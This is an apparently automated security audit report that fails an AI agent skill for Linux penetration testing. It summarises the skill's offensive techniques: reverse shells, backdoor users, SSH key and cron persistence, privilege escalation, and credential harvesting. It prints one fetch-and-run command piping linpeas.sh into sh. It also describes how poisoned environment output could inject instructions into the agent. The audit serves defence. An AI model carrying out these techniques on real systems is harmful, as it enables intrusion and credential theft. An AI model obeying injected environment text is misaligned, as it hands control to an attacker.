linux-pentester-practical-commands
Fail
Audited by Gen Agent Trust Hub on Sep 18, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONPERSISTENCEPRIVILEGE_ESCALATIONDATA_EXFILTRATIONEXTERNAL_DOWNLOADSINDIRECT_PROMPT_INJECTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill provides commands that download and immediately execute scripts from the internet, specifically using the pattern
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh. This bypasses integrity checks and executes third-party code directly in the shell. - [PERSISTENCE]: The documentation includes multiple techniques for maintaining long-term access to a system, such as injecting SSH public keys into the root user's
authorized_keysfile, creating backdoor users with full sudo privileges (NOPASSWD:ALL), and configuring persistent reverse shells usingcrontabandsystemdservices. - [COMMAND_EXECUTION]: The skill lists a variety of reverse shell payloads intended to establish outbound connections to an attacker-controlled IP address using Bash, Netcat, Python, and PHP.
- [PRIVILEGE_ESCALATION]: Detailed instructions are provided for escalating privileges to root, including the exploitation of
LD_PRELOADenvironment variables, PATH hijacking to intercept system binary execution, and leveraging SUID/SGID permissions on sensitive binaries likefindandcp. - [DATA_EXFILTRATION]: The reference includes commands designed to harvest credentials and sensitive system information, such as reading the
/etc/shadowfile, searching the filesystem for private SSH keys (id_rsa), and recursive searching for "password" or "DB_PASSWORD" in configuration and web files. - [EXTERNAL_DOWNLOADS]: The skill encourages downloading and running scripts from external, third-party GitHub repositories, including
LinEnum.shandlinux-exploit-suggester.sh, which introduces supply chain risks if the external repositories are compromised. - [INDIRECT_PROMPT_INJECTION]: As the skill is designed to ingest and process environment data (such as file lists, service statuses, and process names), it creates a vulnerability surface where an attacker could place malicious content in the target environment to influence the agent's behavior during a penetration test.
- Ingestion points: Reads output from system commands like
ps aux,ls, andcat /etc/passwd(SKILL.md). - Boundary markers: None present; the agent treats all command output as standard data.
- Capability inventory: Extensive capabilities including network operations (
curl,nc), file writes (echo >>), and command execution (sh,python,gcc). - Sanitization: No evidence of output sanitization before the agent processes the findings.
Recommendations
- HIGH: Downloads and executes remote code from: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
- CRITICAL: 2 file(s) identified as malware by FileRep - DO NOT USE
Audit Metadata